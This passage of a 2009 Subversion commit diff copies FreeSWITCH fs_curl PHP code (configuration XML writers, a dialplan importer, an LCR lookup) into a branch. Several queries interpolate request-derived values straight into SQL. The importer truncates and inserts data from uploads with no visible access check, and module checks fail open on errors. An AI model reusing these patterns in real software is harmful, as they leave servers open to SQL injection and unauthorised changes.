+    public function main() {
+        $profiles = $this -> get_profiles();
+        $this -> write_config($profiles);
+    }
+
+    /**
+	 * Pull the sofia profiles from the db
+	 * @return array
+	 */
+    private function get_profiles() {
+        $query = "SELECT * FROM sofia_conf";
+        $profiles = $this -> db -> queryAll($query);
+        if (FS_PDO::isError($profiles)) {
+            $this -> comment($query);
+            $this -> comment($this -> db -> getMessage());
+            $this -> file_not_found();
+        }
+        return $profiles;
+    }
+
+    /**
+	 * Write aliases for current sofia <profile>
+	 * @param integer $profile_id id of the sofia profile in sofia_conf
+	 */
+    private function write_aliases($profile_id) {
+        $query = "SELECT * FROM sofia_aliases WHERE sofia_id=$profile_id ";
+        $aliases_array = $this -> db -> queryAll($query);
+        $aliases_count = count($aliases_array);
+        if (FS_PDO::isError($aliases_array)) {
+            $this -> comment($query);
+            $this -> comment($this -> db -> getMessage());
+            return ;
+        }
+        if ($aliases_count < 1) {
+            return ;
+        }
+        $this -> xmlw -> startElement('aliases');
+
+        for ($i=0; $i<$aliases_count; $i++) {
+            //$this -> comment_array($aliases_array[$i]);
+            $this -> xmlw -> startElement('alias');
+            $this -> xmlw -> writeAttribute('name', $aliases_array[$i]['alias_name']);
+            $this -> xmlw -> endElement();//</param>
+        }
+        $this -> xmlw -> endElement();
+    }
+
+    /**
+	 * Write the <settings> for the current profile
+	 * @param integer $profile_id id of the sofia profile in sofia_conf
+	 */
+    private function write_settings($profile_id) {
+        $query = "SELECT * FROM sofia_settings WHERE sofia_id=$profile_id "
+        . "ORDER BY sofia_id, param_name";
+        $settings_array = $this -> db -> queryAll($query);
+        $settings_count = count($settings_array);
+        if (FS_PDO::isError($settings_array)) {
+            $this -> comment($query);
+            $this -> comment($this -> db -> getMessage());
+            return ;
+        }
+        if ($settings_count < 1) {
+            return ;
+        }
+        $this -> xmlw -> startElement('settings');
+
+        for ($i=0; $i<$settings_count; $i++) {
+            //$this -> comment_array($settings_array[$i]);
+            $this -> xmlw -> startElement('param');
+            $this -> xmlw -> writeAttribute('name', $settings_array[$i]['param_name']);
+            $this -> xmlw -> writeAttribute('value', $settings_array[$i]['param_value']);
+            $this -> xmlw -> endElement();//</param>
+        }
+        $this -> xmlw -> endElement();
+    }
+
+    /**
+	 * Write <gateways> XML for current profile
+	 * @param integer $profile_id id of the sofia profile in sofia_conf
+	 */
+    private function write_gateways($profile_id) {
+        $query = "SELECT * FROM sofia_gateways WHERE sofia_id=$profile_id "
+        . "ORDER BY gateway_name, gateway_param";
+        $gateway_array = $this -> db -> queryAll($query);
+        $gateway_count = count($gateway_array);
+        //$this -> comment_array($gateway_array);
+        if (FS_PDO::isError($gateway_array)) {
+            $this -> comment($query);
+            $this -> comment($this -> db -> getMessage());
+            return ;
+        }
+        if ($gateway_count < 1) {
+            return ;
+        }
+        $this -> xmlw -> startElement('gateways');
+        for ($i=0; $i<$gateway_count; $i++) {
+            $this_gateway = $gateway_array[$i]['gateway_name'];
+            if ($this_gateway != $gateway_array[$i-1]['gateway_name']) {
+                $this -> xmlw -> startElement('gateway');
+                $this -> xmlw -> writeAttribute('name', $this_gateway);
+            }
+            $this -> xmlw -> startElement('param');
+            $this -> xmlw -> writeAttribute('name', $gateway_array[$i]['gateway_param']);
+            $this -> xmlw -> writeAttribute('value', $gateway_array[$i]['gateway_value']);
+            $this -> xmlw -> endElement();
+            if (!array_key_exists($i+1, $gateway_array)
+            || $this_gateway != $gateway_array[$i+1]['gateway_name']) {
+                $this -> xmlw -> endElement();
+            }
+            $last_gateway = $this_gateway;
+        }
+        $this -> xmlw -> endElement(); //</gateways>
+    }
+
+    /**
+	 * Write <domains> XML for current sofia profile
+	 * @param integer $profile_id id of sofia profile in sofia_conf
+	 */
+    private function write_domains($profile_id) {
+        $query = "SELECT * FROM sofia_domains WHERE sofia_id=$profile_id";
+        $domain_array = $this -> db -> queryAll($query);
+        $domain_count = count($domain_array);
+        if (FS_PDO::isError($domain_array)) {
+            $this -> comment($query);
+			$this -> comment($this -> db -> getMessage());
+            return ;
+        }
+        if ($domain_count < 1) {
+            return ;
+        }
+        $this -> xmlw -> startElement('domains');
+        for ($i=0; $i<$domain_count; $i++) {
+            $this -> xmlw -> startElement('domain');
+            $this -> xmlw -> writeAttribute('name', $domain_array[$i]['domain_name']);
+            $this -> xmlw -> writeAttribute(
+            'parse', ($domain_array[$i]['parse'] == 1 ? 'true' : 'false')
+            );
+            $this -> xmlw -> endElement();
+        }
+        $this -> xmlw -> endElement();
+    }
+
+    /**
+	 * Write XML for single sofia profile (including all subsections)
+	 * This method opens and closes the <profile> as well as calling
+	 * other methods to complete the other subsections of the XML
+	 * @param array $profile array of the current profile
+	 */
+    private function write_single_profile($profile) {
+        $this -> xmlw -> startElement('profile');
+        $this -> xmlw -> writeAttribute('name', $profile['profile_name']);
+        $this -> write_aliases($profile['id']);
+        $this -> write_domains($profile['id']);
+        $this -> write_gateways($profile['id']);
+        $this -> write_settings($profile['id']);
+        $this -> xmlw -> endElement();
+    }
+
+    /**
+	 * Iterate over the profiles and write the corresponding XML via other methods
+	 * @param array $profiles multi-dimentional array from get_profiles
+	 */
+    private function write_config($profiles) {
+        $profile_count = count($profiles);
+        $this -> xmlw -> startElement('configuration');
+        $this -> xmlw -> writeAttribute('name', basename(__FILE__, '.php'));
+        $this -> xmlw -> writeAttribute('description', 'Sofia SIP Endpoint');
+        $this -> xmlw -> startElement('profiles');
+        for ($i=0; $i<$profile_count; $i++) {
+            $this -> write_single_profile($profiles[$i]);
+        }
+        $this -> xmlw -> endElement();
+        $this -> xmlw -> endElement();
+    }
+}
+
+?>

Deleted: freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/configuration/spidermonkey.conf.php

Copied: freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/configuration/spidermonkey.conf.php (from rev 14471, freeswitch/trunk/contrib/intralanman/PHP/fs_curl/configuration/spidermonkey.conf.php) (0 => 14472)


--- freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/configuration/spidermonkey.conf.php	                        (rev 0)
+++ freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/configuration/spidermonkey.conf.php	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,51 @@
+<?php
+/**
+ * @package FS_CURL
+ * @subpackage FS_CURL_Directory
+ * spidermonkey.conf.php
+ */
+/**
+ * @package  FS_CURL
+ * @subpackage FS_CURL_Configuration
+ * @license
+ * @author Raymond Chandler (intralanman) <intralanman@gmail.com>
+ * @version 0.1
+ * @todo make configuration get pulled from db? maybe just use defines if there's not evern gonna be too many options
+ * Class for writing spidermonkey.conf XML
+*/
+class spidermonkey_conf extends fs_configuration {
+
+    function spidermonkey_conf() {
+        $this -> fs_configuration();
+    }
+
+    function main() {
+        $params = $this -> get_params();
+        $this -> write_params($params);
+    }
+
+    private function get_params() {
+        return array(
+        'mod_spidermonkey_teletone',
+        'mod_spidermonkey_odbc',
+        'mod_spidermonkey_core_db'
+        );
+    }
+
+    private function write_params($modules) {
+        $this -> xmlw -> startElement('configuration');
+        $this -> xmlw -> writeAttribute('name', basename(__FILE__, '.php'));
+        $this -> xmlw -> writeAttribute('description', 'JavaScript Plug-In Configuration');
+        $this -> xmlw -> startElement('modules');
+        $module_count = count($modules);
+        for ($i=0; $i<$module_count; $i++) {
+            $this -> xmlw -> startElement('load');
+            $this -> xmlw -> writeAttribute('module', $modules[$i]);
+            $this -> xmlw -> endElement();
+        }
+        $this -> xmlw -> endElement();
+        $this -> xmlw -> endElement();
+    }
+}
+
+?>
\ No newline at end of file

Deleted: freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/configuration/voicemail.conf.php

Copied: freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/configuration/voicemail.conf.php (from rev 14471, freeswitch/trunk/contrib/intralanman/PHP/fs_curl/configuration/voicemail.conf.php) (0 => 14472)


--- freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/configuration/voicemail.conf.php	                        (rev 0)
+++ freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/configuration/voicemail.conf.php	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,132 @@
+<?php
+/**
+ * @package FS_CURL
+ * @subpackage FS_CURL_Directory
+ * voicemail.conf.php
+ */
+/**
+ * @package  FS_CURL
+ * @subpackage FS_CURL_Configuration
+ * @license
+ * @author Raymond Chandler (intralanman) <intralanman@gmail.com>
+ * @version 0.1
+ * Writes out voicemail.conf XML
+ * @see fs_configuration
+*/
+class voicemail_conf extends fs_configuration {
+
+       public function voicemail_conf() {
+        $this -> fs_configuration();
+    }
+
+    public function main() {
+        $profiles = $this -> get_profiles();
+        $this -> write_config($profiles);
+    }
+
+    /**
+     * Get voicemail profiles from db
+     * @return array
+    */
+    private function get_profiles() {
+        $query = "SELECT * FROM voicemail_conf ORDER BY id";
+        $profiles = $this -> db -> queryAll($query);
+        return $profiles;
+    }
+
+    /**
+     * Write XML for voicemail <settings>
+     * @return void
+    */
+    private function write_settings($profile_id) {
+        $query = sprintf('%s %s %s;'
+        , "SELECT * FROM voicemail_settings "
+        , "WHERE voicemail_id=$profile_id "
+        , "ORDER BY voicemail_id, param_name"
+        );
+        $settings_array = $this -> db -> queryAll($query);
+        $settings_count = count($settings_array);
+        if (FS_PDO::isError($settings_array)) {
+            $this -> comment($query);
+            $this -> comment($this -> db -> getMessage());
+            return ;
+        }
+        if ($settings_count < 1) {
+            return ;
+        }
+        $this -> xmlw -> startElement('settings');
+
+        for ($i=0; $i<$settings_count; $i++) {
+            //$this -> comment_array($settings_array[$i]);
+            $this -> xmlw -> startElement('param');
+            $this -> xmlw -> writeAttribute('name', $settings_array[$i]['param_name']);
+            $this -> xmlw -> writeAttribute('value', $settings_array[$i]['param_value']);
+            $this -> xmlw -> endElement();//</param>
+        }
+        $this -> write_email($profile_id);
+        $this -> xmlw -> endElement();
+    }
+
+    /**
+     * Write XML for voicemail email settings
+     * @return void
+    */
+    private function write_email($profile_id) {
+        $query = sprintf('%s %s %s;'
+        , "SELECT * FROM voicemail_email "
+        , "WHERE voicemail_id=$profile_id "
+        , "ORDER BY voicemail_id, param_name"
+        );
+        $settings_array = $this -> db -> queryAll($query);
+        $settings_count = count($settings_array);
+        if (FS_PDO::isError($settings_array)) {
+            $this -> comment($query);
+            $this -> comment($this -> db -> getMessage());
+            return ;
+        }
+        if ($settings_count < 1) {
+            return ;
+        }
+        $this -> xmlw -> startElement('email');
+
+        for ($i=0; $i<$settings_count; $i++) {
+            //$this -> comment_array($settings_array[$i]);
+            $this -> xmlw -> startElement('param');
+            $this -> xmlw -> writeAttribute('name', $settings_array[$i]['param_name']);
+            $this -> xmlw -> writeAttribute('value', $settings_array[$i]['param_value']);
+            $this -> xmlw -> endElement();//</param>
+        }
+        $this -> xmlw -> endElement();
+    }
+
+    /**
+     * Write the XML for the current profile in write_profiles
+     * @return void
+    */
+    private function write_single_profile($profile) {
+        $this -> xmlw -> startElement('profile');
+        $this -> xmlw -> writeAttribute('name', $profile['vm_profile']);
+        $this -> write_settings($profile['id']);
+        $this -> xmlw -> endElement();
+    }
+
+    /**
+     * Write the entire XML config for the voicemail module
+     * Write XML by calling other methods to do specific areas of config
+     * @return void
+    */
+    private function write_config($profiles) {
+        $profile_count = count($profiles);
+        $this -> xmlw -> startElement('configuration');
+        $this -> xmlw -> writeAttribute('name', basename(__FILE__, '.php'));
+        $this -> xmlw -> writeAttribute('description', 'voicemail Endpoint');
+        $this -> xmlw -> startElement('profiles');
+        for ($i=0; $i<$profile_count; $i++) {
+            $this -> write_single_profile($profiles[$i]);
+        }
+        $this -> xmlw -> endElement();
+        $this -> xmlw -> endElement();
+    }
+}
+
+?>

Deleted: freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/configuration/xml_cdr.conf.php

Copied: freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/configuration/xml_cdr.conf.php (from rev 14471, freeswitch/trunk/contrib/intralanman/PHP/fs_curl/configuration/xml_cdr.conf.php) (0 => 14472)


--- freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/configuration/xml_cdr.conf.php	                        (rev 0)
+++ freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/configuration/xml_cdr.conf.php	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,49 @@
+<?php
+/**
+ * @package FS_CURL
+ * @subpackage FS_CURL_Directory
+ * xml_cdr.conf.php
+ */
+/**
+ * @package  FS_CURL
+ * @subpackage FS_CURL_Configuration
+ * @license
+ * @author Raymond Chandler (intralanman) <intralanman@gmail.com>
+ * @version 0.1
+ * Class for writing xml_cdr.conf XML
+*/
+class xml_cdr_conf extends fs_configuration {
+	function xml_cdr_conf() {
+		$this -> fs_configuration();
+	}
+
+	function main() {
+		$params = $this -> get_settings();
+		$this -> write_settings($params);
+	}
+
+	function get_settings() {
+	    return array('url'=>'http://$${curl_host}/fs_curl/cdr.php', 'encode'=>'true');
+		return array(
+		'url'=>'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF']
+		, 'encode'=>'true'
+		);
+	}
+
+	function write_settings($params) {
+		$this -> xmlw -> startElement('configuration');
+		$this -> xmlw -> writeAttribute('name', basename(__FILE__, '.php'));
+		$this -> xmlw -> writeAttribute('description', 'CDRs via XML Post');
+		$this -> xmlw -> startElement('settings');
+		while (list($name, $value) = each($params)) {
+			$this -> xmlw -> startElement('param');
+			$this -> xmlw -> writeAttribute('name', $name);
+			$this -> xmlw -> writeAttribute('value', $value);
+			$this -> xmlw -> endElement();
+		}
+		$this -> xmlw -> endElement();
+		$this -> xmlw -> endElement();
+	}
+}
+
+?>

Deleted: freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/dialplan_importer.php

Copied: freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/dialplan_importer.php (from rev 14471, freeswitch/trunk/contrib/intralanman/PHP/fs_curl/dialplan_importer.php) (0 => 14472)


--- freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/dialplan_importer.php	                        (rev 0)
+++ freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/dialplan_importer.php	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,213 @@
+<?php
+/**
+ * @package FS_CURL
+ * @subpackage FS_CURL_Dialplan
+ * @license
+ * @author Raymond Chandler (intralanman) <intralanman@gmail.com>
+ * @version 0.1
+*/
+
+/**
+ * Switched to simple xml, pdo and new schemea.  Added several new supporint functions
+ * @author Michael Phillips
+ */
+
+require_once('libs/fs_pdo.php');
+
+/**
+ * require global definitions for FS_CURL
+ */
+require_once('global_defines.php');
+
+/**
+ * Output the upload form
+ * echo out the HTML for the upload form.
+ * @return null
+*/
+function upload_form() {
+    echo '<html>';
+    echo '<h2>Select A File To Import</h2>';
+    echo '<form method="post" action="' . $_SERVER['PHP_SELF'] . '" enctype="multipart/form-data">';
+    echo '<input type="file" name="file">';
+    echo '<input type="submit" name="confirmed">';
+	echo '<p><input type="checkbox" name="clear_dialplan" value="true"> Clear all dialplan data before insert?</p>';
+    echo '</form>';
+    echo '</html>';
+}
+
+/**
+ * Perform Insert Query
+ * take MDB2 object and query as params and
+ * perform query, setting error flag in the event
+ * of a db error.
+ * @return null
+*/
+function run_query($db, $query) {
+    syslog(LOG_INFO, $query);
+    $affected = $db -> exec($query);
+    if (FS_PDO::isError($affected)) {
+        if (!defined('UNSUCCESSFUL_QUERY')) {
+            define('UNSUCCESSFUL_QUERY', true);
+        }
+        echo "$query<br>\n";
+        echo $affected -> getMessage() . "\n";
+    }
+}
+
+/**
+ * Check uploaded file for obvious problems
+ * This function checks the uploaded file's
+ * size, type, length, etc to make sure it's
+ * worth continuing with processing
+ * @return bool
+*/
+function check_uploaded_file($file_array) {
+    if (!is_uploaded_file($file_array['tmp_name'])) {
+        echo "File NOT uploaded OK<br>";
+        die(upload_form());
+    } elseif ($file_array['size'] < 1) {
+        echo "File was empty";
+        die(upload_form());
+    } elseif ($file_array['error'] > 0) {
+        echo "Uploading file encountered error #" . $file_array['error'];
+        die(upload_form());
+    } elseif ($file_array['type'] != 'text/xml') {
+        echo "Expected file of type 'text/xml', but got " . $file_array['type'];
+        die(upload_form());
+    } else {
+        //echo "File seems uploaded OK<br>";
+        return true;
+    }
+}
+
+
+if (!array_key_exists('confirmed', $_REQUEST)) {
+    die(upload_form());
+}
+
+/*
+foreach ($_REQUEST as $key => $val) {
+echo "$key => $val <br>\n";
+}
+if (is_array($_FILES) && count($_FILES)>0) {
+echo "<h2>FILES is an array</h2>";
+print_r($_FILES);
+}
+*/
+
+
+// no need to do anything till we check that the file's ok
+if (check_uploaded_file($_FILES['file'])) {
+    $xml_file = $_FILES['file']['tmp_name'];
+    //move_uploaded_file($tmp_file, $xml_file);
+	//is_uploaded_file
+	//echo filesize($xml_file);
+    //echo $xml_file . "\n<br>";
+    $xml_str = file_get_contents($xml_file);
+}
+
+
+try {
+	$db = new FS_PDO(DEFAULT_DSN,DEFAULT_DSN_LOGIN, DEFAULT_DSN_PASSWORD);
+} catch(Exception $e) {
+		die($e->getMessage());
+}
+
+if($_POST['clear_dialplan']) {
+	truncate_dialplan();
+}
+
+echo "<pre>";
+$xml = simplexml_load_string($xml_str);
+$num_of_conext = sizeof($xml->context);
+
+
+$dialplan_id = insert_dialplan();
+foreach($xml->children() as $context => $context_children) {
+	//echo $context . " => " . $context_children->attributes()->name . "\n";
+	$context_id = insert_dialplan_context($dialplan_id, $context_children->attributes()->name);
+
+	foreach($context_children as $extension => $extension_children) {
+		//echo "\t" . $extension . " => name: " . $extension_children->attributes()->name . "  continue: " . $extension_children->attributes()->continue . "\n" ;
+		if($extension == 'extension') { //verify again bad input
+			$extension_id = insert_dialplan_extension($context_id, $extension_children->attributes()->name, $extension_children->attributes()->continue);
+		}
+		foreach($extension_children as $condition => $condition_children) {
+			//echo "\t\t" . $condition . " => " . $condition_children->attributes()->field . ", expression; " .$condition_children->attributes()->expression . "\n";
+			$condition_id = insert_dialplan_condition($extension_id, $condition_children->attributes()->field, $condition_children->attributes()->expression);
+			foreach($condition_children as $action => $action_childress) {
+				//echo "\t\t\t" . $action . " => " . $action_childress->attributes()->application . ", expression; " .$action_childress->attributes()->data . "\n";
+				if($action == ('action' || 'anti-action')) { //verify again bad input
+					insert_dialplan_actions($condition_id, $action_childress->attributes()->application , $action_childress->attributes()->data, $action);
+				} else {
+					echo "bad xml $action";
+				}// end if
+			} //end foreach
+		} //end foreach
+	}// end foreach
+} // end foreach
+
+echo "</pre>";
+
+function insert_dialplan($domain = 'freeswitch' , $ip_address = '127.0.0.1') {
+	global $db;
+	$sql = sprintf("INSERT INTO dialplan (`domain`, `ip_address`) VALUES ('%s', '%s')", $domain, $ip_address);
+	$db->query($sql);
+	return $db->lastInsertId() ;
+}
+
+function insert_dialplan_context($dialplan_id, $context) {
+	global $db;
+	$sql = sprintf("INSERT INTO dialplan_context (`dialplan_id`, `context`, `weight`) VALUES (%d, '%s', %d)", $dialplan_id, $context, get_next_weight('context'));
+	$db->query($sql);
+	return $db->lastInsertId() ;
+}
+
+function insert_dialplan_extension($context_id, $name, $continue) {
+	global $db;
+	$sql = sprintf("INSERT INTO dialplan_extension (`context_id`, `name`, `continue`, `weight`) VALUES (%d, '%s', '%s', %d)", $context_id, $name, $continue, get_next_weight('extension'));
+	get_next_weight('extension');
+	$db->query($sql);
+	return $db->lastInsertId() ;
+}
+
+function insert_dialplan_condition($extension_id, $field, $expression) {
+	global $db;
+	$sql = sprintf("INSERT INTO dialplan_condition (`extension_id`, `field`, `expression`, `weight`) VALUES (%d, '%s', '%s', %d)", $extension_id, addslashes($field), addslashes($expression),get_next_weight('condition') );
+	//echo $sql . "\n";
+	$db->query($sql);
+	return $db->lastInsertId() ;
+}
+
+function insert_dialplan_actions($condition_id, $application , $data, $type) {
+	global $db;
+	$sql = sprintf("INSERT INTO dialplan_actions(`condition_id`, `application`, `data`, `type`, `weight`) VALUES (%d, '%s', '%s', '%s', %d)", $condition_id, addslashes($application), addslashes($data), $type, get_next_weight('actions'));
+	$db->query($sql);
+	return $db->lastInsertId() ;
+}
+
+function get_next_weight($table) { //used for weighting system
+	global $db;
+	$sql = sprintf("SELECT MAX(weight) as max FROM dialplan_%s", $table);
+	$res = $db->queryAll($sql);
+	return ($res[0]['max'] + 10);
+}
+
+function truncate_dialplan() {
+	global $db;
+	$db->query('TRUNCATE dialplan_extension');
+	$db->query('TRUNCATE dialplan');
+	$db->query('TRUNCATE dialplan_context');
+	$db->query('TRUNCATE dialplan_condition');
+	$db->query('TRUNCATE dialplan_actions');
+}
+
+if (defined(UNSUCCESSFUL_QUERY) && UNSUCCESSFUL_QUERY == true) {
+    echo "<h2>Some Queries Were Not Successful</h2>";
+} else {
+    echo "<h2>File Successfully Imported</h2>";
+}
+upload_form();
+
+//printf("<pre>%s</pre>", print_r($xml_obj, true);
+?>
\ No newline at end of file

Copied: freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/dialplans (from rev 14471, freeswitch/trunk/contrib/intralanman/PHP/fs_curl/dialplans)

Deleted: freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/dialplans/lcr.php

Copied: freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/dialplans/lcr.php (from rev 14471, freeswitch/trunk/contrib/intralanman/PHP/fs_curl/dialplans/lcr.php) (0 => 14472)


--- freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/dialplans/lcr.php	                        (rev 0)
+++ freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/dialplans/lcr.php	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,73 @@
+<?php
+
+class dialplan_lcr {
+
+    function main(&$obj) {
+        $obj -> xmlw -> startElement('section');
+        $obj -> xmlw -> writeAttribute('name', 'dialplan');
+        $obj -> xmlw -> writeAttribute('description', 'FreeSWITCH Dialplan');
+        $obj -> xmlw -> startElement('context');
+        $obj -> xmlw -> writeAttribute('name', 'lcr');
+        $obj -> xmlw -> startElement('extension');
+        $obj -> xmlw -> startElement('condition');
+        $applications = $this -> lcr_lookup($obj);
+        $app_count = count($applications);
+        
+        $sets = array(
+        'hangup_after_bridge'=>'true', 
+        'continue_on_failure'=>'true'
+        );
+        foreach ($sets as $var=>$val) {
+            $this -> xmlw -> startElement('action');
+            $this -> xmlw -> writeAttribute('application', 'set');
+            $this -> xmlw -> writeAttribute('data', "$var=$val");
+            $this -> xmlw -> endElement();
+        }
+        for ($i=0; $i<$app_count; $i++) {
+            $obj -> xmlw -> startElement($applications[$i]['type']);
+            $obj -> xmlw -> writeAttribute('application', 'bridge');
+            $obj -> xmlw -> writeAttribute('data', $applications[$i]['data']);
+            $obj -> xmlw -> endElement();
+        }
+        $obj -> xmlw -> endElement(); //</condition>
+        $obj -> xmlw -> endElement(); //</extension>
+        $obj -> xmlw -> endElement(); //</context>
+        $obj -> xmlw -> endElement(); //</section>
+
+    }
+
+    function lcr_lookup(&$obj) {
+        $obj -> comment_array($obj -> request);
+        $digitstr = $obj -> request['destination_number'];
+        $digitlen = strlen($digitstr);
+        $where_clause = '';
+        for ($i=0; $i<$digitlen; $i++) {
+            $where_clause .= sprintf("%s digits='%s' "
+            , ($i==0?"WHERE":"OR")
+            , substr($digitstr, 0, $i+1)
+            );
+        }
+        $query = sprintf("SELECT l.digits, c.Carrier_Name, l.rate, cg.id, cg.gateway, cg.id AS gwid, l.lead_strip, l.trail_strip, l.prefix, l.suffix FROM lcr l JOIN carriers c ON l.carrier_id=c.id JOIN carrier_gateway cg ON c.id=cg.carrier_id %s ORDER BY length(digits) DESC, rate;", $where_clause);
+        $res = $obj -> db -> query($query);
+        $obj -> comment($query);
+        if (FS_PDO::isError($res)) {
+            $obj -> comment($query);
+            $obj -> comment($this -> db  -> getMessage());
+            $obj -> file_not_found();
+        }
+        $carriers = array();
+        while ($row = $res -> fetchRow()) {
+            $carrier_id = $row['gwid'];
+            if (array_key_exists($carrier_id, $carriers)) {
+                continue;
+            }
+            $carriers[$carrier_id] = true;
+            $datastr = sprintf('sofia/gateway/%s/%s', $row['gateway'], $digitstr);
+            $results[] = array('type'=>'action', 'data'=>$datastr);
+        }
+        return $results;
+    }
+}
+
+
+?>

Deleted: freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/fs_configuration.php

Copied: freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/fs_configuration.php (from rev 14471, freeswitch/trunk/contrib/intralanman/PHP/fs_curl/fs_configuration.php) (0 => 14472)


--- freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/fs_configuration.php	                        (rev 0)
+++ freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/fs_configuration.php	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,89 @@
+<?php
+/**
+ * @package  FS_CURL
+ * fs_configuration.php
+ */
+if (basename($_SERVER['PHP_SELF']) == basename(__FILE__)) {
+    header('Location: index.php');
+}
+
+/**
+ * @package FS_CURL
+ * @license BSD
+ * @author Raymond Chandler (intralanman) <intralanman@gmail.com>
+ * @version 0.1
+ * Class for all module configurations
+ * @return object
+*/
+class fs_configuration extends fs_curl {
+    /**
+     * Class Instantiation
+     * This method will instantiate all other objects upon which it relies.
+     * @return void
+    */
+    function fs_configuration() {
+        $this -> fs_curl();
+        $mod_name = sprintf('mod_%s', str_replace('.conf', '', $this -> request['key_value']));
+        $this -> comment("module name is $mod_name");
+        if (!($this -> is_mod_enabled($mod_name))
+        && !($this -> is_modless_conf($this -> request['key_value']))) {
+            $this -> comment('module not enabled and not modless config file');
+            $this -> file_not_found();
+        }
+        $this -> xmlw -> startElement('section');
+        $this -> xmlw -> writeAttribute('name', 'configuration');
+        $this -> xmlw -> writeAttribute(
+        'description', 'FreeSWITCH Configuration'
+        );
+    }
+
+    /**
+     * Enabled module checker
+     * This method will check if a module is enabled before
+     * returning the XML for the module. If the module's not
+     * enabled, the file_not_found method will be called.
+     * @param string $mod_name name of module to check
+     * @return bool
+    */
+    function is_mod_enabled($mod_name) {
+        $query = sprintf('%s %s'
+        , "SELECT * FROM post_load_modules_conf"
+        , "WHERE module_name='$mod_name' AND load_module=1"
+        );
+        $res = $this -> db -> query($query);
+        if ($this->db->errorCode() !== FS_SQL_SUCCESS) {
+            $this -> comment($query);
+            $this -> comment($this->db->errorCode());
+            return true; //default allow policy
+            return false; //comment previous line to default deny
+        } elseif ($res -> rowCount() == 1) {
+            return true;
+        } else {
+            return false;
+        }
+    }
+
+    /**
+     * Allow config files that aren't tied to any module
+     *
+     * @param string $conf
+     * @return bool
+     */
+    private function is_modless_conf($conf) {
+        $this -> comment("conf is $conf");
+        $query = sprintf(
+        "SELECT COUNT(*) cnt FROM modless_conf WHERE conf_name = '$conf';"
+        );
+        $res = $this -> db -> query($query);
+        if (FS_PDO::isError($res)) {
+            $this -> comment($query);
+            $this -> comment($res -> getMessage());
+            return true; //default allow policy
+            return false; //comment previous line to default deny
+        }
+        $row = $res -> fetchRow();
+        //$this -> comment($row['cnt']);
+        return $row['cnt'];
+    }
+}
+

Deleted: freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/fs_curl.php

Copied: freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/fs_curl.php (from rev 14471, freeswitch/trunk/contrib/intralanman/PHP/fs_curl/fs_curl.php) (0 => 14472)


--- freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/fs_curl.php	                        (rev 0)
+++ freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/fs_curl.php	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,337 @@
+<?php
+/**
+ * @package  FS_CURL
+ * @subpackage FS_CURL_Configuration
+ * fs_curl.php
+ */
+if (basename($_SERVER['PHP_SELF']) == basename(__FILE__)) {
+    header('Location: index.php');
+}
+
+/**
+ * @package FS_CURL
+ * @license BSD
+ * @author Raymond Chandler (intralanman) <intralanman@gmail.com>
+ * @version 0.1
+ * FreeSWITCH CURL base class
+ * Base class for all curl XML output, contains methods for XML output and
+ * connecting to a database
+ * @return void
+*/
+class fs_curl {
+    /**
+     * FS_PDO Object
+     * @link http://www.php.net/pdo
+     * @var $db FS_PDO
+     */
+    public $db;
+    /**
+     * Array of _REQUEST parameters passed
+     *
+     * @var array
+     */
+    public $request;
+    /**
+     * XMLWriter object
+     * @link http://php.net/XMLWriter
+     * @var object
+     */
+    public $xmlw;
+    /**
+     * Array of comments to be output in the XML
+     * @see fs_curl::comment
+     * @var array
+     */
+    private $comments;
+
+    /**
+     * Instantiation of XMLWriter and FS_PDO
+     * This method will instantiate the FS_PDO and XMLWriter classes for use
+     * in child classes
+     * @return void
+    */
+    public function fs_curl() {
+        openlog('fs_curl', LOG_NDELAY | LOG_PID, LOG_USER);
+        header('Content-Type: text/xml');
+        $this -> generate_request_array();
+        $this -> open_xml();
+        $inc = array('required'=>'libs/fs_pdo.php'); // include an external file. i.e. 'required'=>'important_file.php'
+        $this -> include_files($inc);
+        $this -> connect_db(DEFAULT_DSN, DEFAULT_DSN_LOGIN, DEFAULT_DSN_PASSWORD );
+        set_error_handler(array($this, 'error_handler'));
+        //trigger_error('blah', E_USER_ERROR);
+    }
+
+    /**
+     * Connect to a database via FS_PDO
+     * @param mixed $dsn data source for database connection (array or string)
+     * @return void
+    */
+    public function connect_db($dsn, $login, $password) {
+        try {
+            $this -> db = new FS_PDO($dsn, $login, $password);
+        } catch(Exception $e) {
+            $this -> comment($e->getMessage());
+            $this -> file_not_found(); //program terminates in function file_not_found()
+        }
+    }
+
+    /**
+     * Method to add comments to XML
+     * Adds a comment to be displayed in the final XML
+     * @param string $comment comment string to be output in XML
+     * @return void
+    */
+    public function comment($comment) {
